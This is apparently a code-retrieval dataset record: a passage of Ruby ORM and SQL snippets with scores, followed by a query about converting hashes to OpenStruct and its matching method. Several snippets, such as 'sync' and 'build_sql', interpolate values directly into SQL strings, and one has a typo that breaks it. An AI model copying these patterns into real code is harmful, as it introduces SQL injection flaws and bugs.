"def insert_sql(*values)\n if values.size == 1 && (v = values[0]).is_a?(Sequel::Model) && !v.respond_to?(:sql_literal_append)\n Sequel::Deprecation.deprecate(\"Passing Sequel::Model instance argument to Sequel::Dataset#insert\", \"Pass model_instance.values or model_instance.to_hash as the argument instead\")\n super(v.to_hash)\n else\n super\n end\n end",
"def create!\n Upsert.logger.info \"[upsert] Creating or replacing database function #{name.inspect} on table #{table_name.inspect} for selector #{selector_keys.map(&:inspect).join(', ')} and setter #{setter_keys.map(&:inspect).join(', ')}\"\n first_try = true\n connection.execute(%{\n CREATE OR REPLACE FUNCTION #{name}(#{(selector_column_definitions.map(&:to_selector_arg) + setter_column_definitions.map(&:to_setter_arg) + hstore_delete_handlers.map(&:to_arg)).join(', ')}) RETURNS VOID AS\n $$\n DECLARE\n first_try INTEGER := 1;\n BEGIN\n LOOP\n -- first try to update the key\n UPDATE #{quoted_table_name} SET #{update_column_definitions.map(&:to_setter).join(', ')}\n WHERE #{selector_column_definitions.map(&:to_selector).join(' AND ') };\n IF found THEN\n #{hstore_delete_handlers.map(&:to_pgsql).join(' ')}\n RETURN;\n END IF;\n -- not there, so try to insert the key\n -- if someone else inserts the same key concurrently,\n -- we could get a unique-key failure\n BEGIN\n INSERT INTO #{quoted_table_name}(#{setter_column_definitions.map(&:quoted_name).join(', ')}) VALUES (#{setter_column_definitions.map(&:to_setter_value).join(', ')});\n #{hstore_delete_handlers.map(&:to_pgsql).join(' ')}\n RETURN;\n EXCEPTION WHEN unique_violation THEN\n -- seamusabshere 9/20/12 only retry once\n IF (first_try = 1) THEN\n first_try := 0;\n ELSE\n RETURN;\n END IF;\n -- Do nothing, and loop to try the UPDATE again.\n END;\n END LOOP;\n END;\n $$\n LANGUAGE plpgsql;\n })\n rescue\n if first_try and $!.message =~ /tuple concurrently updated/\n first_try = false\n retry\n else\n raise $!\n end\n end",
"def define_save_callbacks(klass, attributes)\n b = self\n callback_methods = Module.new do\n define_method :before_save do\n super()\n send(b.association_name).select { |t| attributes.include?(t.__send__(b.key_column)) && Util.blank?(t.__send__(b.value_column)) }.each(&:destroy)\n end\n define_method :after_save do\n super()\n attributes.each { |attribute| mobility_backends[attribute].save_translations }\n end\n end\n klass.include callback_methods\n end",
"def tracker_replace_trigger_function(table_name)\n create_trigger_function(TRACKER_FUNCTION_NAME, replace: true) do\n <<~SQL\n UPDATE projects SET has_external_issue_tracker = (\n EXISTS\n (\n SELECT 1\n FROM #{table_name}\n WHERE project_id = COALESCE(NEW.project_id, OLD.project_id)\n AND active = TRUE\n AND category = 'issue_tracker'\n )\n )\n WHERE projects.id = COALESCE(NEW.project_id, OLD.project_id);\n RETURN NULL;\n SQL\n end\n end",
"def test_update_name_merge_with_misspellings\n login(\"rolf\")\n name1 = names(:lactarius_alpinus)\n name2 = names(:lactarius_alpigenes)\n name3 = names(:lactarius_kuehneri)\n name4 = names(:lactarius_subalpinus)\n\n # First: merge Y into X, where Y is misspelling of X\n name2.correct_spelling = name1\n name2.change_deprecated(true)\n name2.save\n assert_not(name1.correct_spelling)\n assert_not(name1.deprecated)\n assert(name2.correct_spelling == name1)\n assert(name2.deprecated)\n params = {\n id: name2.id,\n name: {\n text_name: name1.text_name,\n author: name1.author,\n rank: \"Species\",\n deprecated: \"true\"\n }\n }\n put(:update, params: params)\n assert_flash_success\n assert_redirected_to(name_path(name1.id))\n assert_no_emails\n assert_not(Name.exists?(name2.id))\n assert(name1.reload)\n assert_not(name1.correct_spelling)\n assert_not(name1.deprecated)\n\n # Second: merge Y into X, where X is misspelling of Y\n name1.correct_spelling = name3\n name1.change_deprecated(true)\n name1.save\n name3.correct_spelling = nil\n name3.change_deprecated(false)\n name3.save\n assert(name1.correct_spelling == name3)\n assert(name1.deprecated)\n assert_not(name3.correct_spelling)\n assert_not(name3.deprecated)\n params = {\n id: name3.id,\n name: {\n text_name: name1.text_name,\n author: name1.author,\n rank: \"Species\",\n deprecated: \"false\"\n }\n }\n put(:update, params: params)\n assert_flash_success\n assert_redirected_to(name_path(name1.id))\n assert_no_emails\n assert_not(Name.exists?(name3.id))\n assert(name1.reload)\n assert_not(name1.correct_spelling)\n assert(name1.deprecated)\n\n # Third: merge Y into X, where X is misspelling of Z\n name1.correct_spelling = Name.first\n name1.change_deprecated(true)\n name1.save\n name4.correct_spelling = nil\n name4.change_deprecated(false)\n name4.save\n assert(name1.correct_spelling)\n assert(name1.correct_spelling != name4)\n assert(name1.deprecated)\n assert_not(name4.correct_spelling)\n assert_not(name4.deprecated)\n params = {\n id: name4.id,\n name: {\n text_name: name1.text_name,\n author: name1.author,\n rank: \"Species\",\n deprecated: \"false\"\n }\n }\n put(:update, params: params)\n assert_flash_success\n assert_redirected_to(name_path(name1.id))\n assert_no_emails\n assert_not(Name.exists?(name4.id))\n assert(name1.reload)\n assert(name1.correct_spelling == Name.first)\n assert(name1.deprecated)\n end",
"def after_commit(*); end",
"def after_update(record)\n contents = to_sql_update(record)\n to_logfile(contents)\n end",
"def track_change(record, column_name, count)\n @changes_holder << {\n :entity => relation_class.name,\n relation_class.primary_key.to_sym => record.send(relation_class.primary_key),\n :what => column_name,\n :wrong => record.send(column_name),\n :right => count\n }\n end",
"def create!\n Upsert.logger.info \"[upsert] Creating or replacing database function #{name.inspect} on table #{buffer.parent.table_name.inspect} for selector #{selector.map(&:inspect).join(', ')} and columns #{columns.map(&:inspect).join(', ')}\"\n column_definitions = get_column_definitions\n connection.execute <<-EOS\nCREATE OR REPLACE FUNCTION #{name}(#{column_definitions.map { |c| \"#{c.quoted_input_name} #{c.sql_type} DEFAULT #{c.default || 'NULL'}\" }.join(',') }) RETURNS VOID AS\n$$\nBEGIN\n LOOP\n -- first try to update the key\n UPDATE #{quoted_table_name} SET #{column_definitions.map { |c| \"#{c.quoted_name} = #{c.quoted_input_name}\" }.join(',')}\n WHERE #{selector.map { |k| \"#{connection.quote_ident(k)} = #{connection.quote_ident([k,'input'].join('_'))}\" }.join(' AND ') };\n IF found THEN\n RETURN;\n END IF;\n -- not there, so try to insert the key\n -- if someone else inserts the same key concurrently,\n -- we could get a unique-key failure\n BEGIN\n INSERT INTO #{quoted_table_name}(#{column_definitions.map { |c| c.quoted_name }.join(',')}) VALUES (#{column_definitions.map { |c| c.quoted_input_name }.join(',')});\n RETURN;\n EXCEPTION WHEN unique_violation THEN\n -- Do nothing, and loop to try the UPDATE again.\n END;\n END LOOP;\nEND;\n$$\nLANGUAGE plpgsql;\nEOS\n end",
"def find_and_trigger_event(event_type, args = nil)\r\n \r\n case event_type\r\n when :before_change\r\n \r\n if respond_to?(:before_change)\r\n \r\n results = send(:before_change, args)\r\n return false if results == false\r\n \r\n end\r\n \r\n when :after_change\r\n \r\n if respond_to?(:after_change)\r\n \r\n results = send(:after_change, args)\r\n return false if results == false\r\n \r\n end\r\n \r\n when :before_change_field\r\n \r\n #CALL FOR A SPECIFIC FIELD THAT HAS CHANGED\r\n trigger_function_name = \"#{:before_change_field}_#{args.field_name}\"\r\n if respond_to?(trigger_function_name)\r\n \r\n results = send(trigger_function_name, args) \r\n return false if results == false\r\n \r\n end\r\n \r\n #CALL FOR ANY FIELD THAT CHANGES\r\n trigger_function_name = \"#{:before_change_field}\"\r\n if respond_to?(trigger_function_name)\r\n \r\n results = send(trigger_function_name, args) \r\n return false if results == false\r\n \r\n end\r\n \r\n when :after_change_field\r\n #looks in own class for :after_change_field for the field passed, requires the parameter of a Field object to be passed\r\n \r\n #SAPPHIRE UPDATE\r\n #SEARCH FOR ACTIVE MAP DEFINITION THAT INCLUDES THE CURRENT TABLE AND FIELD.\r\n #IF ANY ARE FOUND QUEUE THE PROCESS\r\n if args.table.field_order.include?(\"student_id\")\r\n \r\n if map_id = $tables.attach(\"SAPPHIRE_INTERFACE_MAP\").field_value(\r\n \"primary_id\",\r\n \"WHERE athena_table = '#{table_name }'\r\n AND athena_field = '#{args.field_name }'\r\n AND trigger_event = 'after_change_field'\"\r\n )\r\n \r\n sid = $tables.attach(args.table.table_name).field_value(\"student_id\", \"WHERE primary_id = '#{args.primary_id}'\")\r\n student = $students.get(sid)\r\n \r\n if student && student.active.is_true?\r\n \r\n queue_record = $tables.attach(\"SAPPHIRE_INTERFACE_QUEUE\").new_row\r\n queue_record.fields[\"map_id\" ].value = map_id\r\n queue_record.fields[\"athena_pid\" ].value = args.primary_id\r\n queue_record.save\r\n \r\n end\r\n \r\n end\r\n \r\n end\r\n \r\n #CALL FOR A SPECIFIC FIELD THAT HAS CHANGED\r\n trigger_function_name = \"#{:after_change_field}_#{args.field_name}\"\r\n if respond_to?(trigger_function_name)\r\n \r\n results = send(trigger_function_name, args) \r\n return false if results == false\r\n \r\n end\r\n \r\n #CALL FOR ANY FIELD THAT CHANGES\r\n trigger_function_name = \"#{:after_change_field}\"\r\n if respond_to?(trigger_function_name)\r\n \r\n results = send(trigger_function_name, args)\r\n return false if results == false\r\n \r\n end\r\n \r\n when :before_load #any table can have this event for self table\r\n \r\n continue_with_load = true\r\n \r\n this_trigger_event = \"before_load_#{table_name.downcase}\"\r\n \r\n tables_with_before_load_events = args ? args : event_array(this_trigger_event)\r\n \r\n tables_with_before_load_events.each{|file|\r\n this_table = $tables.attach(file)\r\n \r\n begin\r\n continue_with_load = this_table.send(this_trigger_event)\r\n \r\n rescue=> e\r\n #raise e #THIS SHOULD HAVE BEEN A SYSTEM NOTIFICATION - ADDING NOW BUT LEACING THIS NOTE HERE TO HELP IDENTIFY ANY ISSUES THAT MAY COME TO LIGHT WHICH WERE CONCEALED BY THIS BEFORE...\r\n $base.system_notification(\r\n subject = \"BEFORE LOAD FAILED - #{file}\",\r\n content = \"Don't just stand there and shout it; do something about it... Here's the error:\r\n #{e.message}\r\n <br>\r\n <br>\r\n #{e.backtrace}\"\r\n )\r\n \r\n end\r\n \r\n } if tables_with_before_load_events\r\n \r\n return continue_with_load\r\n \r\n when :after_load #any table can have this event for self table\r\n \r\n this_trigger_event = \"after_load_#{table_name.downcase}\"\r\n \r\n tables_with_after_load_events = args ? args.dup : event_array(this_trigger_event)\r\n \r\n db_config_record(\r\n field_name = \"phase_total\",\r\n new_value = tables_with_after_load_events.join(\",\")\r\n )\r\n db_config_record(\r\n field_name = \"phase_completed\",\r\n new_value = nil\r\n )\r\n \r\n if !args || args.include?(\"move_source_to_dest\")\r\n tables_with_after_load_events.delete(\"move_source_to_dest\")\r\n move_source_to_dest\r\n end\r\n \r\n tables_with_after_load_events.each{|file|\r\n this_table = $tables.attach(file)\r\n db_config_record(\r\n field_name = \"after_load_status\",\r\n new_value = \"Started #{file} - #{DateTime.now.strftime(\"%Y-%m-%d %H:%M:%S\")}\"\r\n )\r\n \r\n begin\r\n this_table.send(this_trigger_event)\r\n db_config_record = $tables.attach(\"Db_Config\").by_table_name(table_name)\r\n phase_completed = db_config_record.fields[\"phase_completed\"].value\r\n phase_completed = (phase_completed ? \"#{phase_completed},#{file}\" : file)\r\n db_config_record(\r\n field_name = \"phase_completed\",\r\n new_value = phase_completed\r\n )\r\n db_config_record(\r\n field_name = \"after_load_status\",\r\n new_value = \"Completed #{file} - #{DateTime.now.strftime(\"%Y-%m-%d %H:%M:%S\")}\"\r\n )\r\n \r\n rescue=> e\r\n after_load_failed(message = \"#{file} - #{e.message} <br><br> #{e.backtrace}\", e)\r\n raise e\r\n end\r\n \r\n } if tables_with_after_load_events\r\n \r\n when :after_insert\r\n send(:after_insert, args) if respond_to?(:after_insert)\r\n \r\n when :after_save\r\n send(:after_save, args) if respond_to?(:after_save)\r\n \r\n when :before_insert\r\n #Looks in own class for before_insert event, requires the parameter of a Row object to be passed\r\n if respond_to?(:before_insert)\r\n send(:before_insert, args)\r\n else\r\n return true\r\n end\r\n \r\n end\r\n \r\n return true\r\n \r\n end",
"def sql_for_on_duplicate_key_update( table_name, *args ) # :nodoc:\n arg, model, primary_key, locking_column = args\n arg = { columns: arg } if arg.is_a?( Array ) || arg.is_a?( String )\n return unless arg.is_a?( Hash )\n\n sql = ' ON CONFLICT '.dup\n conflict_target = sql_for_conflict_target( arg )\n\n columns = arg.fetch( :columns, [] )\n condition = arg[:condition]\n if columns.respond_to?( :empty? ) && columns.empty?\n return sql << \"#{conflict_target}DO NOTHING\"\n end\n\n conflict_target ||= sql_for_default_conflict_target( table_name, primary_key )\n unless conflict_target\n raise ArgumentError, 'Expected :conflict_target or :constraint_name to be specified'\n end\n\n sql << \"#{conflict_target}DO UPDATE SET \"\n case columns\n when Array\n sql << sql_for_on_duplicate_key_update_as_array( table_name, model, locking_column, columns )\n when Hash\n sql << sql_for_on_duplicate_key_update_as_hash( table_name, model, locking_column, columns )\n when String\n sql << columns\n else\n raise ArgumentError, 'Expected :columns to be an Array or Hash'\n end\n\n sql << \" WHERE #{condition}\" if condition.present?\n\n sql\n end",
"def trigger_definition(table_name, trigger_name, name = nil)\n raise \"Internal Error: Connection adapter did not override abstract function\"\n end",
"def QQ\n puts \"before_save\"\n yield\n puts \"after_save\"\n end",
"def check_for_new_fields(hash)\n if new_value?('category', hash['category'])\n note(hash['uid'], \"You have created a new category '#{hash['category']}'. Did you mean to?\") \n elsif new_value?('parameter', hash['parameter'])\n note(hash['uid'], \"You have created a new property of '#{hash['category']}', '#{hash['parameter']}'. Did you mean to?\") \n end\n if new_value?('source', hash['source'])\n note(hash['uid'], \"You have created a new source '#{hash['source']}'. Did you mean to?\")\n end \nend",
"def will_update_attributes!(new_attributes, guard_protected_attributes = true)\n return if new_attributes.nil?\n attributes = new_attributes.dup\n attributes.stringify_keys!\n\n multi_parameter_attributes = []\n attributes = remove_attributes_protected_from_mass_assignment(attributes) if guard_protected_attributes\n\n attributes.each do |k, v|\n if k.include?(\"(\")\n multi_parameter_attributes << [ k, v ]\n else\n if respond_to?(\"#{k}=\")\n send(\"#{k}=\", v)\n send(\"#{k}_will_change!\") if self.trackzored_columns.include?(k)\n else\n raise \"unknown attribute: #{k}\"\n end\n end\n end\n\n assign_multiparameter_attributes(multi_parameter_attributes)\n save!\n end",
"def sql_for_on_duplicate_key_update( table_name, *args ) # :nodoc:\n arg, model, primary_key, locking_column = args\n arg = { columns: arg } if arg.is_a?( Array ) || arg.is_a?( String )\n return unless arg.is_a?( Hash )\n\n sql = ' ON CONFLICT '.dup\n conflict_target = sql_for_conflict_target( arg )\n\n columns = arg.fetch( :columns, [] )\n condition = arg[:condition]\n if columns.respond_to?( :empty? ) && columns.empty?\n return sql << \"#{conflict_target}DO NOTHING\"\n end\n\n conflict_target ||= sql_for_default_conflict_target( primary_key )\n unless conflict_target\n raise ArgumentError, 'Expected :conflict_target to be specified'\n end\n\n sql << \"#{conflict_target}DO UPDATE SET \"\n case columns\n when Array\n sql << sql_for_on_duplicate_key_update_as_array( table_name, model, locking_column, columns )\n when Hash\n sql << sql_for_on_duplicate_key_update_as_hash( table_name, model, locking_column, columns )\n when String\n sql << columns\n else\n raise ArgumentError, 'Expected :columns to be an Array or Hash'\n end\n\n sql << \" WHERE #{condition}\" if condition.present?\n\n sql\n end",
"def before_save\n changed_fields?\n if(@changed_fields && @changed_fields.keys.include?('rmt_product_id') && ((bins = Bin.find_all_by_delivery_id(self.id)).length>0))\n raise \"sorry cannot change rmt_product of this delivery , #{bins.length} bin(s) have already been scanned for this delivery\"\n end\n puts\n end",
"def setTriggerStatements _obj, _args\n \"_obj setTriggerStatements _args;\" \n end",
"def prepare_sql\n @sql = 'insert into people (' + @params.join(', ') + ') values '\n\n people.each_with_index do |person, i|\n person = person['person']\n gender = person['gender']\n person['gender'] = Person.genders[gender.downcase]\n\n # Select the values at our params\n values = person.values_at(*@params).map(&replace_nil)\n joined = values.join(', ')\n\n @sql += '(' + joined + ')'\n @sql += ', ' unless i+1 == people.size\n end\n end",
"def before_update_save(record)\n record.save if record && record.valid?\n end",
"def sql_insert(record)\n flds, vals = parse_fldsvalues(record)\n ph = vals.map{|x| placeholder }\n\n sql = %Q|insert into #{quoted_table}\n ( #{flds.join ','} )\n output inserted.#{quote_field id_fld}\n values( #{ph.join ','} );|\n\n [sql, vals]\n end",
"def _before_validation\n if new? && (set = self[model.sti_key])\n exp = model.sti_key_chooser.call(self)\n if set != exp\n set_table = model.sti_class_from_key(set).table_name\n exp_table = model.sti_class_from_key(exp).table_name\n set_column_value(\"#{model.sti_key}=\", exp) if set_table != exp_table\n end\n end\n super\n end",
"def build_sql(field)\n statement_sql = ''\n keys = primary_keys(field)\n puts \" Altering #{keys.length} records for: #{field.name} => #{field.output_type}\".blue\n keys.each do |primary_key|\n record_sql = \"UPDATE #{field.table} \"\n record_sql += \"SET #{field.column} = '#{out_val(field)}' \"\n record_sql += \"#{where_and(record_sql)} #{field.primary_key_col} = #{primary_key};\\n\"\n statement_sql += record_sql\n end \n statement_sql\nend",
"def after_update(updated)\n # not required\n end",
"def enable_trigger(trigger = 'ALL')\n connection.enable_trigger(table_name, trigger)\n end",
"def before_upsert_with_payload(*method_array)\n __materialist_options[:before_upsert_with_payload] = method_array\n end",
"def before_update\n# @line_item.name = \"foo\"\n end",
"def after_update; end",
"def after_update; end",
"def rollback_name\n result = ActiveRecord::Base.connection.select_all <<~SQL\n SELECT * FROM person_name\n WHERE voided = 1\n AND person_id = #{secondary_patient}\n AND void_reason LIKE 'Merged into patient ##{primary_patient}:%'\n SQL\n process_name(voided_names: result)\n ActiveRecord::Base.connection.execute <<~SQL\n UPDATE person_name SET #{common_void_columns} #{extra_fields} WHERE person_id = #{common_void_reason}\n SQL\n end",
"def after_find\n add_assosiations\n map_fields\n end",
"def _merge_insert_sql(sql, data)\n sql << \" THEN INSERT \"\n columns, values = _parse_insert_sql_args(data[:values])\n _insert_columns_sql(sql, columns)\n if override = data[:override]\n sql << override\n end\n _insert_values_sql(sql, values)\n end",
"def update!(**args)\n @field = args[:field] if args.key?(:field)\n @trigger = args[:trigger] if args.key?(:trigger)\n end",
"def sync\n student_attributes = []\n \n #EXAMPLE [:@name, :@age, :@hometown]\n instance_variables.each do |i|\n # from :@name\n student_attributes << i.to_s.delete(\"@\") # to name\n \n end\n \n query_components_array = []\n\n student_attributes.each do |a|\n\n value = self.send(a) # self.name .... self.send(\"name\")\n\n if value.is_a?(Integer)\n query_componenets_array << \"#{a} = #{value}\"\n else\n query_componenets_array << \"#{a} = '#{value}'\"\n end\n end\n query_string = query_components_array.join(\", \")\n \n # The following connects classes to tables:\n DATABASE.execute(\"UPDATE students SET #{query_string} WHERE id = #{id}\")\n end",
"def position_inserted(position)\n end",
"def sql_for_on_duplicate_key_ignore( table_name, *args ) # :nodoc:\n arg = args.first\n conflict_target = sql_for_conflict_target( arg ) if arg.is_a?( Hash )\n \" ON CONFLICT #{conflict_target}DO NOTHING\"\n end",
"def sql_for_on_duplicate_key_update( table_name, *args ) # :nodoc:\n sql = ' ON DUPLICATE KEY UPDATE '\n arg = args.first\n if arg.is_a?( Array )\n sql << sql_for_on_duplicate_key_update_as_array( table_name, arg )\n elsif arg.is_a?( Hash )\n sql << sql_for_on_duplicate_key_update_as_hash( table_name, arg )\n elsif arg.is_a?( String )\n sql << arg\n else\n raise ArgumentError.new( \"Expected Array or Hash\" )\n end\n sql\n end",
"def autosave_associated_records_for_author\n # Find or create the author by name\n if existing_author = Author.where(:last_name => author.last_name, :first_name => author.first_name, :middle_initial => author.middle_initial).first\n self.author = existing_author\n else\n tmp = Author.new\n tmp.last_name = author.last_name\n tmp.first_name = author.first_name\n tmp.middle_initial = author.middle_initial\n self.author = tmp\n self.author.save!\n self.author_id = self.author.id\n end\n end",
"def after_save\n for a in changes.keys\n next if [\"updated_at\"].include? a\n oldv, newv = changes[a]\n e = Edit.new\n e.item_id = self.id\n e.attribute = a\n e.old_value = oldv\n e.new_value = newv\n e.save! # raises on failure\n end\n end",
"def update\n # def old_update\n\n if UPDATED_STEPS.include?(step)\n return new_update\n end\n\n # Handle the first step creation\n if step == :student_name\n # @guardian = Guardian.create(guardian_params)\n @student = Student.create(student_params)\n\n # session[:guardian_id] = @guardian.id\n session[:student_id] = @student.id\n else\n # @guardian = Guardian.find(session[:guardian_id])\n @student = Student.find(session[:student_id])\n end\n\n if step == :guardian_name_and_address\n @guardian = ContactPerson.create(contact_person_params)\n session[:guardian_id] = @guardian.id\n else\n # @guardian = ContactPerson.find(session[:contact_person_id])\n end\n\n set_next_step = next_step\n\n case step\n when :student_gender_and_ethnicity\n\n params[:student][:is_hispanic] = isIsntToBoolean(params[:student][:is_hispanic])\n\n # TODO: Enable this later after we convert this a non-X-Editable format\n # @student_race = StudentRace.create(student_race_params)\n # @student_race.student = @student\n # @student_race.save\n when :student_language\n if params[:student][:secondary_language] == \"(No Other Language)\"\n params[:student][:secondary_language] = nil\n end\n when :guardian_phone_and_email\n @guardian = ContactPerson.find(session[:guardian_id])\n if !session[:second_guardian_id]\n set_next_step = :guardian_complete\n end\n when :guardian_second_name_and_relationship\n if params[:contact_person][:first_name] != ''\n @second_guardian = ContactPerson.create(contact_person_params)\n @second_guardian.save(validate: false)\n session[:second_guardian_id] = @second_guardian.id\n if @second_guardian.first_name = ''\n set_next_step = :guardian_complete\n end\n else\n set_next_step = :guardian_second_address_and_contact_info\n end\n when :contact_person_1_contact_info, :contact_person_2_contact_info\n @contact_person = ContactPerson.create(contact_person_params)\n @contact_person.save(validate: false)\n session[:contact_person_1_id] = @contact_person.id\n\n # TODO: For final completion, set all linked records to active\n end\n\n if params[:student]\n @student.update_attributes(student_params)\n @student.save(validate: false)\n end\n\n if params[:guardian]\n @guardian.update_attributes(contact_person_params)\n @guardian.save(validate: false)\n end\n\n jump_to set_next_step\n render_wizard\n end",
"def prepare\n # Only do this once\n return if $has_prepared\n\n prepared_statements = {\n temperature_readings: :insert_temp,\n moisture_readings: :insert_moisture,\n light_readings: :insert_light,\n }\n\n prepared_statements.each do |table, name|\n DB[table].prepare(:insert, name, plant_id: :$plant_id, value: :$value)\n end\n\n $has_prepared = true\nend",
"def new_version_additional_behaviour_after_save(old, new, params)\n\t\t# change report/block/delete\n\t\tchange_rbc old, new, 0\n\t\tcopy_mixed_fields old, new\n\t\tmixed_fields_update_series_references old, new\n\tend",
"def before_save(sender); end",
"def update_sql(sql, name = nil)\n super\n end",
"def trigger_changed\n trigger(:position_changed , self )\n end",
"def create_alias_phase!()\n is_ok = true\n if @master_swimmer.complete_name != @slave_swimmer.complete_name \n begin\n record = DataImportSwimmerAlias.create(\n swimmer_id: @master_swimmer.id,\n complete_name: @slave_swimmer.complete_name\n ) if DataImportSwimmerAlias.where( swimmer_id: @master_swimmer.id, complete_name: @slave_swimmer.complete_name ).count == 0\n sql_diff_text_log << \"\\r\\n-- Alias creation for master Swimmer:\\r\\n\"\n sql_diff_text_log << to_sql_insert( record, false ) # no additional comment\n rescue\n process_text_log << \"\\r\\n*** Swimmer Merge: exception caught!\\r\\n\"\n process_text_log << \"*** Alias creation phase: #{ $!.to_s }\\r\\n\" if $!\n is_ok = false\n end\n end\n is_ok\n end",
"def create_trigger name, type, table_name, *actions\n create_function \"#{name}_f\", :returns=>'trigger',:as=>'$BODY$' do\n yield\n end\n execute %{CREATE TRIGGER #{name} #{type.to_s.upcase} #{actions.map{|str|str.upcase}.join(' OR ')}\n ON \"#{table_name}\" FOR EACH ROW\n EXECUTE PROCEDURE #{name}_f();}\n end",
"def before_update_save(record)\n if (record.usr_id != session[:usr_id])\n # Force the call of a validation method.\n record.name = \"record_usr_id_ne_session_usr_id\"\n end\n # I derive the name of the object to prevent user from naming it stupidly\n record.name = \"#{record.symbl.name}-#{record.rpttype.name}-#{record.enddate.to_s}\"\n end",
"def updating_all_timestamp_sql\n update_col = timestamp_attributes_for_update_in_model.first\n\n \", #{update_col} = ?\" if update_col\n end",
"def save\n if self.id\n self.update\n else\n sql = <<-SQL\n INSERT INTO students (name, grade)\n VALUES (?, ?)\n SQL\n DB[:conn].execute(sql, self.name, self.grade)\n @id = DB[:conn].execute(\"SELECT last_insert_rowid() FROM students\")[0][0]\n end\nend",
"def save_changes\n save(:changed=>true) || false unless @changed_columns.empty?\n end",
"def adjust_after_create\n # The record is in @record, do what you will, this precedes a save.\n end",
"def test_raw_insert_bind_param_with_q_mark_deprecated; end",
"def set_record_sql(should_record) # THREAD_LOCAL_ACCESS\n state = Tracer.state\n prev = state.record_sql\n state.record_sql = should_record\n prev.nil? || prev\n end",
"def update_student\n name = ask_for(\"name of the student you want to change\")\n selected_student = find_student(name)\n print_names(selected_student)\n confirmation = ask_for(\" Y/N to modify\")\n if confirmation.downcase == \"y\"\n selected_student.first[:name] = ask_for(\"New name\")\n selected_student.first[:cohort] = ask_for(\"New cohort\")\n selected_student.first[:hobbies] = ask_for(\"New hobbies\")\n @students.map! {|student| (student[:name] == selected_student.first[:name]) ? selected_student.first : student }\n end\nend",
"def invoice_updateinsert(recordhash)\n\t\tif(invoice_recordexists(recordhash)) then\n\t\t\tinvoice_update(recordhash)\n\t\telse\n\t\t\tinvoice_insert(recordhash)\n\t\tend\n\tend"
] |
[
"0.5677841",
"0.55306965",
"0.5348253",
"0.52701896",
"0.5192869",
"0.5181096",
"0.5170977",
"0.51324016",
"0.512983",
"0.5104654",
"0.5077664",
"0.505964",
"0.5036906",
"0.5036666",
"0.50329185",
"0.5031072",
"0.4973346",
"0.49622774",
"0.4959098",
"0.49553138",
"0.49553138",
"0.49553138",
"0.49523818",
"0.48980707",
"0.48974353",
"0.48842442",
"0.4861124",
"0.48544902",
"0.4829851",
"0.48041663",
"0.48039848",
"0.47980154",
"0.47848383",
"0.4780756",
"0.4780756",
"0.47656122",
"0.47645044",
"0.47605938",
"0.47571677",
"0.47554454",
"0.47554454",
"0.47424862",
"0.47334236",
"0.47244644",
"0.47238523",
"0.47180143",
"0.47106287",
"0.4703101",
"0.4699584",
"0.46977606",
"0.46969104",
"0.4688876",
"0.46885732",
"0.46780097",
"0.4673503",
"0.46670848",
"0.4665635",
"0.466324",
"0.4658866",
"0.46573007",
"0.46534815",
"0.46497038",
"0.46454826",
"0.4642567",
"0.46373037",
"0.46357894",
"0.46347052",
"0.4622745",
"0.46145964",
"0.45967832",
"0.45893824",
"0.45857903",
"0.45801318",
"0.45801318",
"0.45759335",
"0.45710605",
"0.4563686",
"0.4561891",
"0.45609334",
"0.45570233",
"0.45565367",
"0.45560724",
"0.45542872",
"0.45525613",
"0.45489988",
"0.4545272",
"0.45420685",
"0.4538072",
"0.45345002",
"0.45334426",
"0.45287293",
"0.4528017",
"0.45232722",
"0.4521392",
"0.45150533",
"0.45141584",
"0.4510312",
"0.45090032",
"0.4506754",
"0.45065448",
"0.45061305"
] |
0.0
|
-1
|
Converts a hash or hashlike object that indexes elements on strings or symbols to an object that provides access to attributes through dot notation. Returns an OpenStruct instance
|
def attributes_for(params)
if params.kind_of?(Hash)
attrs = OpenStruct.new
attrs.refresh_token = params[:refresh_token] || params['refresh_token']
attrs.access_token = params[:access_token] || params['token']
attrs.expires_at = params[:expires_at] || params['expires_at']
params = attrs
end
params
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def _convert_ostruct(obj)\n return OpenStruct.new(Hash[obj.map { |k, v| [k, _convert_ostruct(v)] }]).freeze if obj.is_a?(Hash)\n return obj.map { |v| _convert_ostruct(v) }.freeze if obj.is_a?(Array)\n obj\n end",
"def hashes_to_ostruct object # {{{\n\n return case object\n when Hash\n object = object.clone\n object.each { |key, value| object[key] = hashes_to_ostruct(value) }\n OpenStruct.new( object )\n when Array\n object = object.clone\n object.map! { |i| hashes_to_ostruct(i) }\n else\n object\n end\n\n end",
"def to_struct\n attributes = keys.sort\n members = attributes.map(&:to_sym)\n Struct.new(*members).new(*attributes.map do |key|\n attribute = fetch key\n (attribute.is_a? Hash) ? attribute.to_struct : attribute\n end) unless empty?\n end",
"def hash_to_obj hash\n OpenStruct.new(hash) rescue raise ConfigError, \"Can't convert setup to object\"\n end",
"def create_ostruct_from_hash(hash)\n ret = OpenStruct.new(hash)\n hash.each do |key, value|\n if value.is_a?(Hash)\n ret.send(\"#{key}=\", create_ostruct_from_hash(value))\n elsif value.is_a?(Array)\n ret.send(\"#{key}=\", create_ostruct_array(value))\n end\n end\n ret\nend",
"def hashes2ostruct(object)\n return case object\n when Hash\n object = object.clone\n object.each do |key, value|\n object[key] = hashes2ostruct(value)\n end\n OpenStruct.new(object)\n when Array\n object = object.clone\n object.map! { |i| hashes2ostruct(i) }\n else\n object\n end\n end",
"def hashes2ostruct(object)\n return case object\n when Hash\n object = object.clone\n object.each do |key, value|\n object[key] = hashes2ostruct(value)\n end\n OpenStruct.new(object)\n when Array\n object = object.clone\n object.map! { |i| hashes2ostruct(i) }\n else\n object\n end\n end",
"def _struct(obj)\n obj.class.new(*_renc(obj.to_h).values)\n end",
"def hash_mapped_struct\n set_field_getter {|obj, name| obj[name.to_sym] }\n set_field_setter {|obj, name, value| obj[name.to_sym] = value }\n end",
"def to_ostruct_exposing(*exposed_methods_and_initialize_hashes)\n exposed_attributes = exposed_methods_and_initialize_hashes.select do |arg|\n [ Symbol, String ].include?(arg.class)\n end\n\n initialize_hash = exposed_methods_and_initialize_hashes.select do |arg|\n arg.is_a?(Hash)\n end.inject({}, &:merge) # combine all hashes just in case\n \n for attr in exposed_attributes\n initialize_hash[attr] = send(attr)\n end\n \n OpenStruct.new(initialize_hash.symbolize_keys)\n end",
"def __class__\n OpenStruct2\n end",
